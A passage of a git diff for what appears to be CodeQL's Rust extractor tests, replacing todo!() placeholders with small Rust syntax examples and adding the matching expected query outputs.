b/rust/ql/test/extractor-tests/generated/Struct/Struct_getFieldList.expected @@ -0,0 +1 @@ +| gen_struct.rs:4:5:8:5 | struct Point | gen_struct.rs:5:18:8:5 | StructFieldList | diff --git a/rust/ql/test/extractor-tests/generated/Struct/Struct_getName.expected b/rust/ql/test/extractor-tests/generated/Struct/Struct_getName.expected index e69de29bb2d..6912576e6fb 100644 --- a/rust/ql/test/extractor-tests/generated/Struct/Struct_getName.expected +++ b/rust/ql/test/extractor-tests/generated/Struct/Struct_getName.expected @@ -0,0 +1 @@ +| gen_struct.rs:4:5:8:5 | struct Point | gen_struct.rs:5:12:5:16 | Point | diff --git a/rust/ql/test/extractor-tests/generated/Struct/gen_struct.rs b/rust/ql/test/extractor-tests/generated/Struct/gen_struct.rs index f5b42b79190..253a554e3f9 100644 --- a/rust/ql/test/extractor-tests/generated/Struct/gen_struct.rs +++ b/rust/ql/test/extractor-tests/generated/Struct/gen_struct.rs @@ -2,5 +2,8 @@ fn test_struct() -> () { // A Struct. For example: - todo!() + struct Point { + x: i32, + y: i32, + } } diff --git a/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList.expected b/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList.expected index e69de29bb2d..16e48f1e4f9 100644 --- a/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList.expected +++ b/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList.expected @@ -0,0 +1 @@ +| gen_struct_expr_field_list.rs:7:9:7:22 | StructExprFieldList | getNumberOfAttrs: | 0 | getNumberOfFields: | 2 | hasSpread: | no | diff --git a/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList_getField.expected b/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList_getField.expected index e69de29bb2d..a9e8edc6aae 100644 --- a/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList_getField.expected +++ b/rust/ql/test/extractor-tests/generated/StructExprFieldList/StructExprFieldList_getField.expected @@ -0,0 +1,2 @@ +| gen_struct_expr_field_list.rs:7:9:7:22 | StructExprFieldList | 0 | gen_struct_expr_field_list.rs:7:11:7:14 | a: 1 | +| gen_struct_expr_field_list.rs:7:9:7:22 | StructExprFieldList | 1 | gen_struct_expr_field_list.rs:7:17:7:20 | b: 2 | diff --git a/rust/ql/test/extractor-tests/generated/StructExprFieldList/gen_struct_expr_field_list.rs b/rust/ql/test/extractor-tests/generated/StructExprFieldList/gen_struct_expr_field_list.rs index 01557f966aa..12871cfdd2c 100644 --- a/rust/ql/test/extractor-tests/generated/StructExprFieldList/gen_struct_expr_field_list.rs +++ b/rust/ql/test/extractor-tests/generated/StructExprFieldList/gen_struct_expr_field_list.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_struct_expr_field_list() -> () { - // A StructExprFieldList. For example: - todo!() + // A list of fields in a struct expression. + // + // For example: + Foo { a: 1, b: 2 } + // ^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/StructField/StructField.expected b/rust/ql/test/extractor-tests/generated/StructField/StructField.expected index e69de29bb2d..52a70f01feb 100644 --- a/rust/ql/test/extractor-tests/generated/StructField/StructField.expected +++ b/rust/ql/test/extractor-tests/generated/StructField/StructField.expected @@ -0,0 +1 @@ +| gen_struct_field.rs:7:16:7:21 | StructField | getNumberOfAttrs: | 0 | hasDefault: | no | isUnsafe: | no | hasName: | yes | hasTypeRepr: | yes | hasVisibility: | no | diff --git a/rust/ql/test/extractor-tests/generated/StructField/StructField_getName.expected b/rust/ql/test/extractor-tests/generated/StructField/StructField_getName.expected index e69de29bb2d..1b66b3a883b 100644 --- a/rust/ql/test/extractor-tests/generated/StructField/StructField_getName.expected +++ b/rust/ql/test/extractor-tests/generated/StructField/StructField_getName.expected @@ -0,0 +1 @@ +| gen_struct_field.rs:7:16:7:21 | StructField | gen_struct_field.rs:7:16:7:16 | x | diff --git a/rust/ql/test/extractor-tests/generated/StructField/StructField_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/StructField/StructField_getTypeRepr.expected index e69de29bb2d..ad77aac4601 100644 --- a/rust/ql/test/extractor-tests/generated/StructField/StructField_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/StructField/StructField_getTypeRepr.expected @@ -0,0 +1 @@ +| gen_struct_field.rs:7:16:7:21 | StructField | gen_struct_field.rs:7:19:7:21 | i32 | diff --git a/rust/ql/test/extractor-tests/generated/StructField/gen_struct_field.rs b/rust/ql/test/extractor-tests/generated/StructField/gen_struct_field.rs index 562b5adc772..6d9e99334a5 100644 --- a/rust/ql/test/extractor-tests/generated/StructField/gen_struct_field.rs +++ b/rust/ql/test/extractor-tests/generated/StructField/gen_struct_field.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_struct_field() -> () { - // A StructField. For example: - todo!() + // A field in a struct declaration. + // + // For example: + struct S { x: i32 } + // ^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList.expected b/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList.expected index e69de29bb2d..f07a535897f 100644 --- a/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList.expected +++ b/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList.expected @@ -0,0 +1 @@ +| gen_struct_field_list.rs:7:14:7:31 | StructFieldList | getNumberOfFields: | 2 | diff --git a/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList_getField.expected b/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList_getField.expected index e69de29bb2d..cd2ac33b4c9 100644 --- a/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList_getField.expected +++ b/rust/ql/test/extractor-tests/generated/StructFieldList/StructFieldList_getField.expected @@ -0,0 +1,2 @@ +| gen_struct_field_list.rs:7:14:7:31 | StructFieldList | 0 | gen_struct_field_list.rs:7:16:7:21 | StructField | +| gen_struct_field_list.rs:7:14:7:31 | StructFieldList | 1 | gen_struct_field_list.rs:7:24:7:29 | StructField | diff --git a/rust/ql/test/extractor-tests/generated/StructFieldList/gen_struct_field_list.rs b/rust/ql/test/extractor-tests/generated/StructFieldList/gen_struct_field_list.rs index bdec77ecaae..4e3967bfae3 100644 --- a/rust/ql/test/extractor-tests/generated/StructFieldList/gen_struct_field_list.rs +++ b/rust/ql/test/extractor-tests/generated/StructFieldList/gen_struct_field_list.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_struct_field_list() -> () { - // A field list of a struct expression. For example: - todo!() + // A list of fields in a struct declaration. + // + // For example: + struct S { x: i32, y: i32 } + // ^^^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList.expected b/rust/ql/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList.expected index e69de29bb2d..a52d73ab6c8 100644 --- a/rust/ql/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList.expected +++ b/rust/ql/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList.expected @@ -0,0 +1 @@ +| gen_struct_pat_field_list.rs:7:13:7:20 | StructPatFieldList | getNumberOfFields: | 2 | hasRestPat: | no | diff --git a/rust/ql/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList_getField.expected b/rust/ql/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList_getField.expected index e69de29bb2d..c2d445a5a3f 100644 --- a/rust/ql/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList_getField.expected +++ b/rust/ql/test/extractor-tests/generated/StructPatFieldList/StructPatFieldList_getField.expected @@ -0,0 +1,2 @@ +| gen_struct_pat_field_list.rs:7:13:7:20 | StructPatFieldList | 0 | gen_struct_pat_field_list.rs:7:15:7:15 | ... | +| gen_struct_pat_field_list.rs:7:13:7:20 | StructPatFieldList | 1 | gen_struct_pat_field_list.rs:7:18:7:18 | ... | diff --git a/rust/ql/test/extractor-tests/generated/StructPatFieldList/gen_struct_pat_field_list.rs b/rust/ql/test/extractor-tests/generated/StructPatFieldList/gen_struct_pat_field_list.rs index a424ca84d64..1543bab7133 100644 --- a/rust/ql/test/extractor-tests/generated/StructPatFieldList/gen_struct_pat_field_list.rs +++ b/rust/ql/test/extractor-tests/generated/StructPatFieldList/gen_struct_pat_field_list.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_struct_pat_field_list() -> () { - // A StructPatFieldList. For example: - todo!() + // A list of fields in a struct pattern. + // + // For example: + let Foo { a, b } = foo; + // ^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/TokenTree/TokenTree.expected b/rust/ql/test/extractor-tests/generated/TokenTree/TokenTree.expected index b13382221bb..f349b236ed7 100644 --- a/rust/ql/test/extractor-tests/generated/TokenTree/TokenTree.expected +++ b/rust/ql/test/extractor-tests/generated/TokenTree/TokenTree.expected @@ -1 +1,3 @@ -| gen_token_tree.rs:5:10:5:11 | TokenTree | +| gen_token_tree.rs:7:13:7:40 | TokenTree | +| gen_token_tree.rs:7:14:7:39 | TokenTree | +| gen_token_tree.rs:9:22:9:49 | TokenTree | diff --git a/rust/ql/test/extractor-tests/generated/TokenTree/gen_token_tree.rs b/rust/ql/test/extractor-tests/generated/TokenTree/gen_token_tree.rs index 7781391e232..be742ecc27d 100644 --- a/rust/ql/test/extractor-tests/generated/TokenTree/gen_token_tree.rs +++ b/rust/ql/test/extractor-tests/generated/TokenTree/gen_token_tree.rs @@ -1,6 +1,11 @@ // generated by codegen, do not edit fn test_token_tree() -> () { - // A TokenTree. For example: - todo!() + // A token tree in a macro definition or invocation. + // + // For example: + println!("{} {}!", "Hello", "world"); + // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + macro_rules! foo { ($x:expr) => { $x + 1 }; } + // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias.expected b/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias.expected index e69de29bb2d..0a5b69dcd5e 100644 --- a/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias.expected +++ b/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias.expected @@ -0,0 +1 @@ +| gen_trait_alias.rs:7:5:7:26 | TraitAlias | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasGenericParamList: | no | hasName: | yes | hasTypeBoundList: | yes | hasVisibility: | no | hasWhereClause: | no | diff --git a/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getName.expected b/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getName.expected index e69de29bb2d..e0aae353801 100644 --- a/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getName.expected +++ b/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getName.expected @@ -0,0 +1 @@ +| gen_trait_alias.rs:7:5:7:26 | TraitAlias | gen_trait_alias.rs:7:11:7:13 | Foo | diff --git a/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getTypeBoundList.expected b/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getTypeBoundList.expected index e69de29bb2d..797921bf4dd 100644 --- a/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getTypeBoundList.expected +++ b/rust/ql/test/extractor-tests/generated/TraitAlias/TraitAlias_getTypeBoundList.expected @@ -0,0 +1 @@ +| gen_trait_alias.rs:7:5:7:26 | TraitAlias | gen_trait_alias.rs:7:17:7:25 | TypeBoundList | diff --git a/rust/ql/test/extractor-tests/generated/TraitAlias/gen_trait_alias.rs b/rust/ql/test/extractor-tests/generated/TraitAlias/gen_trait_alias.rs index 708e0d99e58..6fa75a8a08d 100644 --- a/rust/ql/test/extractor-tests/generated/TraitAlias/gen_trait_alias.rs +++ b/rust/ql/test/extractor-tests/generated/TraitAlias/gen_trait_alias.rs @@ -1,6 +1,8 @@ // generated by codegen, do not edit fn test_trait_alias() -> () { - // A TraitAlias. For example: - todo!() + // A trait alias. + // + // For example: + trait Foo = Bar + Baz; } diff --git a/rust/ql/test/extractor-tests/generated/TryExpr/TryExpr.expected b/rust/ql/test/extractor-tests/generated/TryExpr/TryExpr.expected index e69de29bb2d..214ca5597ec 100644 --- a/rust/ql/test/extractor-tests/generated/TryExpr/TryExpr.expected +++ b/rust/ql/test/extractor-tests/generated/TryExpr/TryExpr.expected @@ -0,0 +1 @@ +| gen_try_expr.rs:7:13:7:18 | TryExpr | getNumberOfAttrs: | 0 | hasExpr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/TryExpr/TryExpr_getExpr.expected b/rust/ql/test/extractor-tests/generated/TryExpr/TryExpr_getExpr.expected index e69de29bb2d..fb0c8042969 100644 --- a/rust/ql/test/extractor-tests/generated/TryExpr/TryExpr_getExpr.expected +++ b/rust/ql/test/extractor-tests/generated/TryExpr/TryExpr_getExpr.expected @@ -0,0 +1 @@ +| gen_try_expr.rs:7:13:7:18 | TryExpr | gen_try_expr.rs:7:13:7:17 | foo(...) | diff --git a/rust/ql/test/extractor-tests/generated/TryExpr/gen_try_expr.rs b/rust/ql/test/extractor-tests/generated/TryExpr/gen_try_expr.rs index 083dffd3c35..6444f38b7d7 100644 --- a/rust/ql/test/extractor-tests/generated/TryExpr/gen_try_expr.rs +++ b/rust/ql/test/extractor-tests/generated/TryExpr/gen_try_expr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_try_expr() -> () { - // A TryExpr. For example: - todo!() + // A try expression using the `?` operator. + // + // For example: + let x = foo()?; + // ^ } diff --git a/rust/ql/test/extractor-tests/generated/TupleField/TupleField.expected b/rust/ql/test/extractor-tests/generated/TupleField/TupleField.expected index e69de29bb2d..4c658836ad9 100644 --- a/rust/ql/test/extractor-tests/generated/TupleField/TupleField.expected +++ b/rust/ql/test/extractor-tests/generated/TupleField/TupleField.expected @@ -0,0 +1,2 @@ +| gen_tuple_field.rs:7:14:7:16 | TupleField | getNumberOfAttrs: | 0 | hasTypeRepr: | yes | hasVisibility: | no | +| gen_tuple_field.rs:7:19:7:24 | TupleField | getNumberOfAttrs: | 0 | hasTypeRepr: | yes | hasVisibility: | no | diff --git a/rust/ql/test/extractor-tests/generated/TupleField/TupleField_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/TupleField/TupleField_getTypeRepr.expected index e69de29bb2d..31c4849e7a3 100644 --- a/rust/ql/test/extractor-tests/generated/TupleField/TupleField_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/TupleField/TupleField_getTypeRepr.expected @@ -0,0 +1,2 @@ +| gen_tuple_field.rs:7:14:7:16 | TupleField | gen_tuple_field.rs:7:14:7:16 | i32 | +| gen_tuple_field.rs:7:19:7:24 | TupleField | gen_tuple_field.rs:7:19:7:24 | String | diff --git a/rust/ql/test/extractor-tests/generated/TupleField/gen_tuple_field.rs b/rust/ql/test/extractor-tests/generated/TupleField/gen_tuple_field.rs index 245862c35d7..96fe3582e40 100644 --- a/rust/ql/test/extractor-tests/generated/TupleField/gen_tuple_field.rs +++ b/rust/ql/test/extractor-tests/generated/TupleField/gen_tuple_field.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_tuple_field() -> () { - // A TupleField. For example: - todo!() + // A field in a tuple struct or tuple enum variant. + // + // For example: + struct S(i32, String); + // ^^^ ^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/TupleFieldList/TupleFieldList.expected b/rust/ql/test/extractor-tests/generated/TupleFieldList/TupleFieldList.expected index e69de29bb2d..5101ab7bf19 100644 --- a/rust/ql/test/extractor-tests/generated/TupleFieldList/TupleFieldList.expected +++ b/rust/ql/test/extractor-tests/generated/TupleFieldList/TupleFieldList.expected @@ -0,0 +1 @@ +| gen_tuple_field_list.rs:7:13:7:25 | TupleFieldList | getNumberOfFields: | 2 | diff --git a/rust/ql/test/extractor-tests/generated/TupleFieldList/TupleFieldList_getField.expected b/rust/ql/test/extractor-tests/generated/TupleFieldList/TupleFieldList_getField.expected index e69de29bb2d..77b15f1aa42 100644 --- a/rust/ql/test/extractor-tests/generated/TupleFieldList/TupleFieldList_getField.expected +++ b/rust/ql/test/extractor-tests/generated/TupleFieldList/TupleFieldList_getField.expected @@ -0,0 +1,2 @@ +| gen_tuple_field_list.rs:7:13:7:25 | TupleFieldList | 0 | gen_tuple_field_list.rs:7:14:7:16 | TupleField | +| gen_tuple_field_list.rs:7:13:7:25 | TupleFieldList | 1 | gen_tuple_field_list.rs:7:19:7:24 | TupleField | diff --git a/rust/ql/test/extractor-tests/generated/TupleFieldList/gen_tuple_field_list.rs b/rust/ql/test/extractor-tests/generated/TupleFieldList/gen_tuple_field_list.rs index 5f6858c12ab..26f955c4add 100644 --- a/rust/ql/test/extractor-tests/generated/TupleFieldList/gen_tuple_field_list.rs +++ b/rust/ql/test/extractor-tests/generated/TupleFieldList/gen_tuple_field_list.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_tuple_field_list() -> () { - // A TupleFieldList. For example: - todo!() + // A list of fields in a tuple struct or tuple enum variant. + // + // For example: + struct S(i32, String); + // ^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/TupleTypeRepr/TupleTypeRepr.expected b/rust/ql/test/extractor-tests/generated/TupleTypeRepr/TupleTypeRepr.expected index a35fda17581..f3dcaadb7a2 100644 --- a/rust/ql/test/extractor-tests/generated/TupleTypeRepr/TupleTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/TupleTypeRepr/TupleTypeRepr.expected @@ -1 +1,2 @@ | gen_tuple_type_repr.rs:3:30:3:31 | TupleTypeRepr | getNumberOfFields: | 0 | +| gen_tuple_type_repr.rs:7:12:7:24 | TupleTypeRepr | getNumberOfFields: | 2 | diff --git a/rust/ql/test/extractor-tests/generated/TupleTypeRepr/TupleTypeRepr_getField.expected b/rust/ql/test/extractor-tests/generated/TupleTypeRepr/TupleTypeRepr_getField.expected index e69de29bb2d..c4d5db977c5 100644 --- a/rust/ql/test/extractor-tests/generated/TupleTypeRepr/TupleTypeRepr_getField.expected +++ b/rust/ql/test/extractor-tests/generated/TupleTypeRepr/TupleTypeRepr_getField.expected @@ -0,0 +1,2 @@ +| gen_tuple_type_repr.rs:7:12:7:24 | TupleTypeRepr | 0 | gen_tuple_type_repr.rs:7:13:7:15 | i32 | +| gen_tuple_type_repr.rs:7:12:7:24 | TupleTypeRepr | 1 | gen_tuple_type_repr.rs:7:18:7:23 | String | diff --git a/rust/ql/test/extractor-tests/generated/TupleTypeRepr/gen_tuple_type_repr.rs b/rust/ql/test/extractor-tests/generated/TupleTypeRepr/gen_tuple_type_repr.rs index 69dbf686aff..72418bebd40 100644 --- a/rust/ql/test/extractor-tests/generated/TupleTypeRepr/gen_tuple_type_repr.rs +++ b/rust/ql/test/extractor-tests/generated/TupleTypeRepr/gen_tuple_type_repr.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_tuple_type_repr() -> () { - // A TupleTypeRepr. For example: - todo!() + // A tuple type. + // + // For example: + let t: (i32, String); + // ^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/TypeArg/TypeArg.expected b/rust/ql/test/extractor-tests/generated/TypeArg/TypeArg.expected index e69de29bb2d..d81b48448fa 100644 --- a/rust/ql/test/extractor-tests/generated/TypeArg/TypeArg.expected +++ b/rust/ql/test/extractor-tests/generated/TypeArg/TypeArg.expected @@ -0,0 +1 @@ +| gen_type_arg.rs:7:11:7:13 | TypeArg | hasTypeRepr: | yes | diff --git a/rust/ql/test/extractor-tests/generated/TypeArg/TypeArg_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/TypeArg/TypeArg_getTypeRepr.expected index e69de29bb2d..f1bb3e460e1 100644 --- a/rust/ql/test/extractor-tests/generated/TypeArg/TypeArg_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/TypeArg/TypeArg_getTypeRepr.expected @@ -0,0 +1 @@ +| gen_type_arg.rs:7:11:7:13 | TypeArg | gen_type_arg.rs:7:11:7:13 | u32 | diff --git a/rust/ql/test/extractor-tests/generated/TypeArg/gen_type_arg.rs b/rust/ql/test/extractor-tests/generated/TypeArg/gen_type_arg.rs index f429e9d2187..0e51807e06c 100644 --- a/rust/ql/test/extractor-tests/generated/TypeArg/gen_type_arg.rs +++ b/rust/ql/test/extractor-tests/generated/TypeArg/gen_type_arg.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_type_arg() -> () { - // A TypeArg. For example: - todo!() + // A type argument in a generic argument list. + // + // For example: + Foo:: + // ^^^ } diff --git a/rust/ql/test/extractor-tests/generated/TypeBound/TypeBound.expected b/rust/ql/test/extractor-tests/generated/TypeBound/TypeBound.expected index e69de29bb2d..40e38f919ce 100644 --- a/rust/ql/test/extractor-tests/generated/TypeBound/TypeBound.expected +++ b/rust/ql/test/extractor-tests/generated/TypeBound/TypeBound.expected @@ -0,0 +1 @@ +| gen_type_bound.rs:7:15:7:19 | TypeBound | isAsync: | no | isConst: | no | hasLifetime: | no | hasTypeRepr: | yes | hasUseBoundGenericArgs: | no | diff --git a/rust/ql/test/extractor-tests/generated/TypeBound/TypeBound_getTypeRepr.expected b/rust/ql/test/extractor-tests/generated/TypeBound/TypeBound_getTypeRepr.expected index e69de29bb2d..7d9cf96f2ad 100644 --- a/rust/ql/test/extractor-tests/generated/TypeBound/TypeBound_getTypeRepr.expected +++ b/rust/ql/test/extractor-tests/generated/TypeBound/TypeBound_getTypeRepr.expected @@ -0,0 +1 @@ +| gen_type_bound.rs:7:15:7:19 | TypeBound | gen_type_bound.rs:7:15:7:19 | Debug | diff --git a/rust/ql/test/extractor-tests/generated/TypeBound/gen_type_bound.rs b/rust/ql/test/extractor-tests/generated/TypeBound/gen_type_bound.rs index a5ee2af2236..9e182cbeefc 100644 --- a/rust/ql/test/extractor-tests/generated/TypeBound/gen_type_bound.rs +++ b/rust/ql/test/extractor-tests/generated/TypeBound/gen_type_bound.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_type_bound() -> () { - // A TypeBound. For example: - todo!() + // A type bound in a trait or generic parameter. + // + // For example: + fn foo(t: T) {} + // ^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/TypeBoundList/TypeBoundList.expected b/rust/ql/test/extractor-tests/generated/TypeBoundList/TypeBoundList.expected index e69de29bb2d..3044718de47 100644 --- a/rust/ql/test/extractor-tests/generated/TypeBoundList/TypeBoundList.expected +++ b/rust/ql/test/extractor-tests/generated/TypeBoundList/TypeBoundList.expected @@ -0,0 +1 @@ +| gen_type_bound_list.rs:7:15:7:27 | TypeBoundList | getNumberOfBounds: | 2 | diff --git a/rust/ql/test/extractor-tests/generated/TypeBoundList/TypeBoundList_getBound.expected b/rust/ql/test/extractor-tests/generated/TypeBoundList/TypeBoundList_getBound.expected index e69de29bb2d..7106e5ae664 100644 --- a/rust/ql/test/extractor-tests/generated/TypeBoundList/TypeBoundList_getBound.expected +++ b/rust/ql/test/extractor-tests/generated/TypeBoundList/TypeBoundList_getBound.expected @@ -0,0 +1,2 @@ +| gen_type_bound_list.rs:7:15:7:27 | TypeBoundList | 0 | gen_type_bound_list.rs:7:15:7:19 | TypeBound | +| gen_type_bound_list.rs:7:15:7:27 | TypeBoundList | 1 | gen_type_bound_list.rs:7:23:7:27 | TypeBound | diff --git a/rust/ql/test/extractor-tests/generated/TypeBoundList/gen_type_bound_list.rs b/rust/ql/test/extractor-tests/generated/TypeBoundList/gen_type_bound_list.rs index aa2c2992225..8ecff33eb70 100644 --- a/rust/ql/test/extractor-tests/generated/TypeBoundList/gen_type_bound_list.rs +++ b/rust/ql/test/extractor-tests/generated/TypeBoundList/gen_type_bound_list.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_type_bound_list() -> () { - // A TypeBoundList. For example: - todo!() + // A list of type bounds. + // + // For example: + fn foo(t: T) {} + // ^^^^^^^^^^^^^ } diff --git a/rust/ql/test/extractor-tests/generated/TypeParam/TypeParam.expected b/rust/ql/test/extractor-tests/generated/TypeParam/TypeParam.expected index e69de29bb2d..1ba76dc60d3 100644 --- a/rust/ql/test/extractor-tests/generated/TypeParam/TypeParam.expected +++ b/rust/ql/test/extractor-tests/generated/TypeParam/TypeParam.expected @@ -0,0 +1 @@ +| gen_type_param.rs:7:12:7:12 | T | getNumberOfAttrs: | 0 | hasDefaultType: | no | hasName: | yes | hasTypeBoundList: | no | diff --git a/rust/ql/test/extractor-tests/generated/TypeParam/TypeParam_getName.expected b/rust/ql/test/extractor-tests/generated/TypeParam/TypeParam_getName.expected index e69de29bb2d..a51942c95c2 100644 --- a/rust/ql/test/extractor-tests/generated/TypeParam/TypeParam_getName.expected +++ b/rust/ql/test/extractor-tests/generated/TypeParam/TypeParam_getName.expected @@ -0,0 +1 @@ +| gen_type_param.rs:7:12:7:12 | T | gen_type_param.rs:7:12:7:12 | T | diff --git a/rust/ql/test/extractor-tests/generated/TypeParam/gen_type_param.rs b/rust/ql/test/extractor-tests/generated/TypeParam/gen_type_param.rs index 6d5dbf5dd39..3028b3c8136 100644 --- a/rust/ql/test/extractor-tests/generated/TypeParam/gen_type_param.rs +++ b/rust/ql/test/extractor-tests/generated/TypeParam/gen_type_param.rs @@ -1,6 +1,9 @@ // generated by codegen, do not edit fn test_type_param() -> () { - // A TypeParam. For example: - todo!() + // A type parameter in a generic parameter list. + // + // For example: + fn foo(t: T) {} + // ^ } diff --git a/rust/ql/test/extractor-tests/generated/Union/Union.expected b/rust/ql/test/extractor-tests/generated/Union/Union.expected index e69de29bb2d..bc0b9974b40 100644 --- a/rust/ql/test/extractor-tests/generated/Union/Union.expected +++ b/rust/ql/test/extractor-tests/generated/Union/Union.expected @@ -0,0 +1 @@ +| gen_union.rs:4:5:7:32 | union U | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasGenericParamList: | no | hasName: | yes | hasStructFieldList: | yes | hasVisibility: | no | hasWhereClause: | no | diff --git a/rust/ql/test/extractor-tests/generated/Union/Union_getName.expected b/rust/ql/test/extractor-tests/generated/Union/Union_getName.expected index e69de29bb2d..02b0d8ebc8c 100644 --- a/rust/ql/test/extractor-tests/generated/Union/Union_getName.expected +++ b/rust/ql/test/extractor-tests/generated/Union/Union_getName.expected @@ -0,0 +1 @@ +| gen_union.rs:4:5:7:32 | union U | gen_union.rs:7:11:7:11 | U | diff --git a/rust/ql/test/extractor-tests/generated/Union/Union_getStructFieldList.expected b/rust/ql/test/extractor-tests/generated/Union/Union_getStructFieldList.expected index e69de29bb2d..3613a0fcb38 100644 --- a/rust/ql/test/extractor-tests/generated/Union/Union_getStructFieldList.expected +++ b/rust/ql/test/extractor-tests/generated/Union/Union_getStructFieldList.expected @@ -0,0 +1 @@ +| gen_union.rs:4:5:7:32 | union U | gen_union.rs:7:13:7:32 | StructFieldList | diff --git a/rust/ql/test/extractor-tests/generated/Union/gen_union.rs b/rust/ql/test/extractor-tests/generated/Union/gen_union.rs index ef74acf7f60..5b148d975e5 100644 --- a/rust/ql/test/extractor-tests/generated/Union/gen_union.rs +++ b/rust/ql/test/extractor-tests/generated/Union/gen_union.rs @@ -1,6 +1,8 @@ // generated by codegen, do not edit fn test_union() -> () { - // A Union. For example: - todo!() + // A union declaration. + // + // For example: + union U { f1: u32, f2: f32 } } diff --git a/rust/ql/test/extractor-tests/generated/Use/Use.expected b/rust/ql/test/extractor-tests/generated/Use/Use.expected index e69de29bb2d..e016b067371 100644 --- a/rust/ql/test/extractor-tests/generated/Use/Use.expected +++ b/rust/ql/test/extractor-tests/generated/Use/Use.expected @@ -0,0 +1 @@ +| gen_use.rs:4:5:5:34 | use ...::HashMap | hasExtendedCanonicalPath: | no | hasCrateOrigin: | no | hasAttributeMacroExpansion: | no | getNumberOfAttrs: | 0 | hasUseTree: | yes | hasVisibility: | no | diff --git a/rust/ql/test/extractor-tests/generated/Use/Use_getUseTree.expected b/rust/ql/test/extractor-tests/generated/Use/Use_getUseTree.expected index e69de29bb2d..81b2c2c8ad3 100644 --- a/rust/ql/test/extractor-tests/generated/Use/Use_getUseTree.expected +++ b/rust/ql/test/extractor-tests/generated/Use/Use_getUseTree.expected @@ -0,0 +1 @@ +| gen_use.rs:4:5:5:34 | use ...::HashMap | gen_use.rs:5:9:5:33 | ...::HashMap | diff --git a/rust/ql/test/extractor-tests/generated/Use/gen_use.rs b/rust/ql/test/extractor-tests/generated/Use/gen_use.rs index c61de79f9ff..193d9a1c655 100644 --- a/rust/ql/test/extractor-tests/generated/Use/gen_use.rs +++ b/rust/ql/test/extractor-tests/generated/Use/gen_use.rs @@ -1,6 +1,6 @@ // generated by codegen, do not edit fn test_use() -> () { - // A Use. For example: - todo!() + // A `use` statement. For example: + use std::collections::HashMap; } diff --git a/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/MISSING_SOURCE.txt b/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/MISSING_SOURCE.txt deleted file mode 100644 index 7f96b17b1f3..00000000000 --- a/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/MISSING_SOURCE.txt +++ /dev/null @@ -1,4 +0,0 @@ -// generated by codegen, do not edit - -After a source file is added in this directory and codegen is run again, test queries -will appear and this file will be deleted diff --git a/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs.expected b/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs.expected new file mode 100644 index 00000000000..3ea69e78251 --- /dev/null +++ b/rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs.expected @@ -0,0 +1 @@ 